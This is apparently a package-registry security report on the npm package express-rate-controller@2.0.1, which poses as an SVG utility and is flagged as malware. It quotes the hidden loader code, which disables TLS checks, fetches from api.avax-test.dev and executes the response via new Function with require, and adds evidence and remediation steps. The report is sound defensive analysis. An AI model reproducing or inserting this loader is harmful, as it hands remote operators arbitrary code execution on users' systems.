registry / Remote code execution / express-rate-controller
express-rate-controller
Professional zero-dependency SVG utilities for Node.js.
This report shows the evidence for express-rate-controller@2.0.1. 2 of 3 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiThis is a concrete, concealed remote-code-execution loader, not an SVG utility feature. Lack of install hooks limits automatic activation but does not remove the malicious capability.
Static reason
No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
A CommonJS consumer calls getPlugin()(), after requiring the package.
Impact
Remote server operators can execute arbitrary code in the consuming Node process.
Mechanism
TLS-bypassing HTTPS fetch followed by dynamic execution of response data.
Attack narrative
The CommonJS entrypoint adds an undocumented getPlugin API absent from the ESM implementation and documentation. When invoked, it disables certificate validation, downloads data from a remote endpoint, and evaluates that data through new Function while supplying require. This gives the endpoint arbitrary code execution in the host process.
AI rationale
This is a concrete, concealed remote-code-execution loader, not an SVG utility feature. Lack of install hooks limits automatic activation but does not remove the malicious capability.
Evidence
package.jsonsrc/index.cjssrc/index.mjsbin/svgcraft.mjsreadme.md
Network endpoints1
api.avax-test.dev/ext/bc/rpc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- src/index.cjs exports hidden getPlugin outside documented SVG API.
- getPlugin fetches https://api.avax-test.dev/ext/bc/rpc with TLS verification disabled.
- Response data is executed via new Function('require', data)(require), enabling remote code execution.
- CommonJS entrypoint is selected by package.json require export.
Evidence against
- package.json has no install lifecycle hooks.
- src/index.mjs and bin/svgcraft.mjs contain only SVG utility/CLI behavior.
- Network execution requires a consumer to call the returned getPlugin function.
Behavioral surface
ChildProcessEvalFilesystemNetwork
HighEntropyStringsUrlStrings
Source & flagged code
4 flagged · loading sourcesrc/index.cjsView file
•matchType = normalized_sha256
matchedPackage = cors-security@1.0.1
matchedPath = src/index.cjs
matchedIdentity = npm:Y29ycy1zZWN1cml0eQ:1.0.1
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
src/index.cjsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = decf5f2bef9a26e5
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = cors-security@1.0.1
matchedPath = src/index.cjs
matchedIdentity = npm:Y29ycy1zZWN1cml0eQ:1.0.1
similarity = 1.000
shingleOverlap = 4
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
src/index.cjsView on unpkg304https.get("https://api.avax-test.dev/ext/bc/rpc", { rejectUnauthorized: false }, res =>
L305: res.on("data", data => {const handler = new Function('require', data.toString())(require);}))
L306: };
Low
Eval
Package source references a known benign dynamic code generation pattern.
Findings
3 High1 Medium5 Low
HighKnown Malware Source Similaritysrc/index.cjs
HighKnown Malware Source Similaritysrc/index.mjs
HighKnown Malware Source Fingerprint Signaturesrc/index.cjs
MediumNetwork
LowScripts Present
LowEvalsrc/index.cjs
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to express-rate-controller@2.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing express-rate-controller@2.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.